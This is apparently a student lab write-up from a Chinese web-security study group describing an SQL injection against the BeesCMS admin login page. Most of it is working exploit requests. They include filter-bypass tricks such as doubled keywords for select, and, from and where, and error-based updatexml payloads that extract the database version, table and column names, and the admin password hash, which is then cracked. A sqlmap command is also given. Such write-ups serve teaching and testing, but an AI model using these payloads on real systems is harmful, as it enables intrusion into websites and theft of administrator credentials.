BeesCMS的SQL注入漏洞

本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)

根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:

1. 扫描后台
    获得后台登陆地址:

BeesCMS的SQL注入漏洞

2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用

BeesCMS的SQL注入漏洞

3. 由于有报错信息,尝试使用联合查询或是报错注入


    测试发现,sql语句过滤了 and  select 等号 等符号。等号用like替 代, and 用  an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代,
     where用wh where ere替代
 
    因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入

 

BeesCMS的SQL注入漏洞

       
4. 报错注入
 
 // 查询数据库版本:


user=admin' a and nd 

updatexml(1,concat(0x7e,version(),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '~5.5.53~'
 
    // 查询当前用户
 user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '[email protected]~'


    // 查询当前数据库
 user=admin' a and nd 

updatexml(1,concat(0x7e,database(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '~beescms~'


    // 查询当前表名
 user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om 

information_schema.tables whe where re table_schema like 

database()),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: 

'~bees_admin,bees_admin_group,bee'


发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称 

user=admin' a and nd 

updatexml(1,concat(0x7e,substr((selselectect 

group_concat(table_name) fr from om 

information_schema.tables whe where re table_schema like 

database()),1,32),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


user=admin' a and nd 

updatexml(1,concat(0x7e,substr((selselectect 

group_concat(table_name) fr from om 

information_schema.tables whe where re table_schema like 

database()),32,64),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


    // 查询bees_admin表中的列名 

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om 

information_schema.columns whe where re table_schema like 

database() a and nd table_name like 'bees_admin'),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: 

'~id,admin_name,admin_password,ad'


同样存在字符串输出长度限制,需要使用substr()函数进行截取。

    // 获取字段内容 

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om 

beescms.bees_admin),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '~admin~'


user=admin' a and nd updatexml(1,concat(0x7e,(selselectect 

admin_password fr from om beescms.bees_admin wh where ere 

admin_name like 'admin'),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'


user=admin' a and nd 

updatexml(1,concat(0x7e,substr((selselectect admin_password fr 

from om beescms.bees_admin wh where ere admin_name like 

'admin'),24,64),0x7e),1)-

&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35


操作数据库失败XPATH syntax error: '~e4a801fc3~'


拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3     

解密 后:admin

5. SQLMap
C:\Users\Administrator\Desktop\sqlmap>sqlmap.py -r bees.log -p "user"

BeesCMS的SQL注入漏洞

枚举表名的过程失败

BeesCMS的SQL注入漏洞

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

BeesCMS的SQL注入漏洞

目前26000+人已关注加入我们

BeesCMS的SQL注入漏洞